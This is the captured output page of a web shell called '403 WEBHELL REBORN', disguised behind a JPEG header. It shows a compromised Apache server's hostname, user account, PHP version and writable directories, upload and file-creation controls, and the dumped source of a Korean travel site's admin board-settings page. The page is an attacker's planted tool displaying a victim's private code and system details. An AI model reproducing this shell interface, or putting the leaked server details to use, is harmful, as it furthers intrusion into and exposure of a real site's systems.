ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/board/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/board/board_edit_ajax.php
<?
/**
 * 2차코드 정보 수정 ajax
 *
 * 작성일 : 20130430.허종
 */

include "../include/top_proc.html"; //공통파일 인클루드
include "_common.php";

$data = board_info_list($GRP_CD,$BD_CD);
$row = $data[0];

$SqlType = "board_edit";

$group_list = board_group_list();//그룹목록

$cd_a = "CMM";
$cd_b = "BDTP";
$data_codec = base_codec($cd_a,$cd_b);//게시판종류

?>
<script type="text/javascript">
function ChangeMothod(type){
	if(document.getElementById('BD_SORT')[2].selected!=true){
		if(type=="Y"){
			//document.getElementById('BD_MO')[0].selected=true;
			//document.getElementById('BD_RG')[0].selected=true;
			//document.getElementById('BD_SC')[0].selected=true;
			document.getElementById('BD_MG')[0].selected=true;

			document.getElementById('BD_MO').disabled=false;
			document.getElementById('BD_RG').disabled=false;
			document.getElementById('BD_SC').disabled=false;
		}else{
			document.getElementById('BD_MG')[1].selected=true;
			document.getElementById('BD_MO')[1].selected=true;
			document.getElementById('BD_RG')[1].selected=true;
			document.getElementById('BD_SC')[1].selected=true;
			document.getElementById('BD_MO').disabled=true;
			document.getElementById('BD_RG').disabled=true;
			document.getElementById('BD_SC').disabled=true;
		}
	}else{
		if(type=="Y"){
			document.getElementById('BD_MO').disabled=false;
		}else{
			document.getElementById('BD_MO').disabled=true;
			document.getElementById('BD_MO')[1].selected=true;
		}
	}
}

function BD_SORT_Fnc(type){
	switch(type) {
		case "BDTPM01" ://공지사항
			ChangeMothod("N");
			document.getElementById('BD_MG').disabled=true;
			//document.getElementById('View_Sort').style.display='none';
		break;

		case "BDTPM02" ://응답형 게시판
			ChangeMothod("Y");
			document.getElementById('BD_MG').disabled=false;
			//document.getElementById('View_Sort').style.display='block';
		break;

		case "BDTPM03" ://겔러리 게시판
			ChangeMothod("Y");
			document.getElementById('BD_MG')[0].selected=true;
			document.getElementById('BD_MG').disabled=false;
			document.getElementById('BD_RG').disabled=true;
			document.getElementById('BD_SC').disabled=true;
			//document.getElementById('View_Sort').style.display='none';
		break;

		case "BDTPM05" ://여행후기
			ChangeMothod("Y");
			document.getElementById('BD_MG').disabled=false;
			//document.getElementById('View_Sort').style.display='block';
		break;

		case "BDTPM06" ://FAQ
			ChangeMothod("N");
			document.getElementById('BD_MG').disabled=true;
			//document.getElementById('View_Sort').style.display='block';
		break;

		
	}
}
window.onload=function(){
	var type="<?=$BD_SORT?>";
	switch(type) {
		case "MD01" ://공지사항
			ChangeMothod("N");
			document.getElementById('BD_MG').disabled=true;
		break;

		case "MD02" ://응답형 게시판
			if("<?=$BD_MG?>"=="N"){
				document.getElementById('BD_MO').disabled=true;
				document.getElementById('BD_RG').disabled=true;
				document.getElementById('BD_SC').disabled=true;
			}
		break;

		case "MD03" ://겔러리 게시판
			if("<?=$BD_MG?>"=="N"){
				document.getElementById('BD_MO').disabled=true;
			}
			document.getElementById('BD_RG').disabled=true;
			document.getElementById('BD_SC').disabled=true;
		break;

		case "MD04" ://FAQ
			ChangeMothod("N");
			document.getElementById('BD_MG').disabled=true;
		break;

		case "MD05" ://여행후기
			if("<?=$BD_MG?>"=="N"){
				document.getElementById('BD_MO').disabled=true;
				document.getElementById('BD_RG').disabled=true;
				document.getElementById('BD_SC').disabled=true;
			}
		break;
	}
}
</script>
<div class="iframe">
<!-- 본문 -->

	<!-- 폼 -->
	<form name="frm_edit_board" id="frm_edit_board" method="post">
	<input type="hidden" name="SqlType" value="<?=$SqlType?>">
	<input type="hidden" name="tmp_layer_id" value="<?=$tmp_layer_id?>"><!-- 레이어ID -->
	<INPUT TYPE="hidden" NAME="BD_CD" value="<?=$BD_CD?>">
	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
	<tbody>
		<tr>
			<th width="150" scope="row">게시판 그룹</th>
			<td class="top_line">
				<select name="GRP_CD" id="GRP_CD"  class="select">
				<?for($i=0 ; $i < count($group_list) ; $i++ ){?>
					<option value="<?=$group_list[$i]['GRP_CD']?>" <?=($group_list[$i]['GRP_CD']==$row['GRP_CD'])?"selected":""?>><?=$group_list[$i]['GRP_NM']?></option>
				<?}?>
				</select>
			</td>
		</tr>
		<tr>
			<th scope="row">게시판 코드</th>
			<td><?=$row[BD_CD]?></td>
		</tr>
		<tr>
			<th scope="row">게시판이름</th>
			<td><input name="BD_NM" id="BD_NM" type="text" value="<?=$row['BD_NM']?>" style="width:300px" size="10" class="input_text" hname="게시판이름" required /></td>
		</tr>
		<tr>
			<th scope="row">종류</th>
			<td>
				<select name="BD_SORT" id="BD_SORT"  class="select"  onchange="BD_SORT_Fnc(this.value);">
				<?for($i=0 ; $i < count($data_codec) ; $i++ ){?>
					<option value="<?=$data_codec[$i]['code']?>" <?=($data_codec[$i]['code']==$row['BD_SORT'])?"selected":""?>><?=$data_codec[$i]['cd_nm']?></option>
				<?}?>
				</select>
				<span class="style_h" id="View_Sort" style="padding-top:5px;padding-bottom:5px;display:block;"> - 탭 분류 설정 &nbsp;<img src="../image/icon/add.gif" align="absmiddle" border="0" style="cursor:pointer" onclick="AddSort();">&nbsp;<img src="../image/icon/remove.gif" align="absmiddle" border="0" style="cursor:pointer" onclick="delRow();"><br>
				<table id="dyntbl" border="0" cellpadding="0" cellspacing="0" width="90%" style="padding-top:3px;padding-right:3px;border-top:1px solid gray;margin:3px 3px;" class='table_l'>
					<tbody>
					<?
					$arrBD_TP = explode(",", $row[BD_TP]);

					for ( $i=0 ; $i<count($arrBD_TP) ; $i++ ) {
						if($arrBD_TP[$i] != "" ) {?>
						<tr><td>
						<INPUT TYPE="text" NAME="BD_TP[]" id="BD_TP[]" value="<?=$arrBD_TP[$i]?>" class="input_file" size="10" style="ime-mode:active">
						</td></tr>
						<?};
					}
					?>
					</tbody>
				</table>
			</span>
			</td>
		</tr>
		
		<tr>
			<th scope="row">페이지당 목록 개수</th>
			<td>
				<SELECT NAME="BD_PS" id="BD_PS"  class="select">
					<?for($i=5;$i<=40;$i++){?>
						<OPTION VALUE="<?=$i?>" <?if($row['BD_PS']==$i){?>selected<?}?>><?=$i?></OPTION>
					<?	}?>
				</SELECT>
			</td>
		</tr>
		<tr>
			<th scope="row">페이지당 이동범위</th>
			<td>
				<SELECT NAME="BD_PM" id="BD_PM"  class="select">
					<?for($i=5;$i<=20;$i++){?>
						<OPTION VALUE="<?=$i?>" <?if($row['BD_PM']==$i){?>selected<?}?>><?=$i?></OPTION>
					<?	}?>
				</SELECT>
			</td>
		</tr>
		<tr>
			<th scope="row">첨부파일 갯수</th>
			<td>
				<SELECT NAME="BD_FL" id="BD_FL"  class="select">
					<?for($i=0;$i<=10;$i++){?>
						<OPTION VALUE="<?=$i?>" <?if($row['BD_FL']==$i){?>selected<?}?>><?=($i==0)?"없음":$i?></OPTION>
					<?	}?>
				</SELECT>
			</td>
		</tr>
		<tr>
			<th scope="row">웹에디터사용</th>
			<td>
				<SELECT NAME="BD_WE" id="BD_WE"  class="select">
					<OPTION VALUE="Y" <?if($row['BD_WE']=="Y"){?>SELECTED<?}?> style="color:#FF0033">YES
					<OPTION VALUE="N" <?if($row['BD_WE']=="N"){?>SELECTED<?}?>>NO
				</SELECT>
			</td>
		</tr>
		<tr>
			<th scope="row">코멘트 사용</th>
			<td>
				<SELECT NAME="BD_CG" id="BD_CG"  class="select">
					<OPTION VALUE="Y" <?if($row['BD_CG']=="Y"){?>SELECTED<?}?> style="color:#FF0033">YES
					<OPTION VALUE="N" <?if($row['BD_CG']=="N"){?>SELECTED<?}?>>NO
				</SELECT>
			</td>
		</tr>
		<tr>
			<th scope="row">고정공지 사용</th>
			<td>
				<SELECT NAME="BD_NG" id="BD_NG"  class="select">
					<OPTION VALUE="Y" <?if($row['BD_NG']=="Y"){?>SELECTED<?}?> style="color:#FF0033">YES
					<OPTION VALUE="N" <?if($row['BD_NG']=="N"){?>SELECTED<?}?>>NO
				</SELECT>
			</td>
		</tr>
		<!-- <tr>
			<th scope="row">순서조정 기능</th>
			<td>
				<SELECT NAME="BD_OD" id="BD_OD"  class="select">
					<OPTION VALUE="Y" <?if($row['BD_OD']=="Y"){?>SELECTED<?}?> style="color:#FF0033">YES
					<OPTION VALUE="N" <?if($row['BD_OD']=="N"){?>SELECTED<?}?>>NO
				</SELECT>
			</td>
		</tr>-->
		<tr>
			<th scope="row">사용자 글쓰기</th>
			<td>
				<SELECT NAME="BD_MG" id="BD_MG"  class="select" onchange="ChangeMothod(this.value);">
					<OPTION VALUE="Y" <?if($row['BD_MG']=="Y"){?>SELECTED<?}?> style="color:#FF0033">YES
					<OPTION VALUE="N" <?if($row['BD_MG']=="N"){?>SELECTED<?}?>>NO
				</SELECT>
			</td>
		</tr>
		<tr>
			<th scope="row">회원전용 글쓰기</th>
			<td>
				<SELECT NAME="BD_MO" id="BD_MO"  class="select">
					<OPTION VALUE="Y" <?if($row['BD_MO']=="Y"){?>SELECTED<?}?> style="color:#FF0033">YES
					<OPTION VALUE="N" <?if($row['BD_MO']=="N"){?>SELECTED<?}?>>NO
				</SELECT>
			</td>
		</tr>
		<tr>
			<th scope="row">답변글 사용</th>
			<td>
				<SELECT NAME="BD_RG" id="BD_RG"  class="select">
					<OPTION VALUE="Y" <?if($row['BD_RG']=="Y"){?>SELECTED<?}?> style="color:#FF0033">YES
					<OPTION VALUE="N" <?if($row['BD_RG']=="N"){?>SELECTED<?}?>>NO
				</SELECT>
			</td>
		</tr>
		<tr>
			<th scope="row">비밀글 사용</th>
			<td>
				<SELECT NAME="BD_SC" id="BD_SC"  class="select">
					<OPTION VALUE="Y" <?if($row['BD_SC']=="Y"){?>SELECTED<?}?> style="color:#FF0033">YES
					<OPTION VALUE="N" <?if($row['BD_SC']=="N"){?>SELECTED<?}?>>NO
				</SELECT>
			</td>
		</tr>
		<tr>
			<th scope="row">개설일</th>
			<td><?=$row['BD_DT']?></td>
		</tr>
	</tbody>
	</table>


		<div class="btn_wrap_C mt15 mb15">
		<a class="Bbtn red" onClick="check_frm_board(); return false;" href="javascript:;">수정</a>
	</div>
	</form>
	<!-- /폼 -->

<!-- /본문 -->
</div>

Anon7 - 2021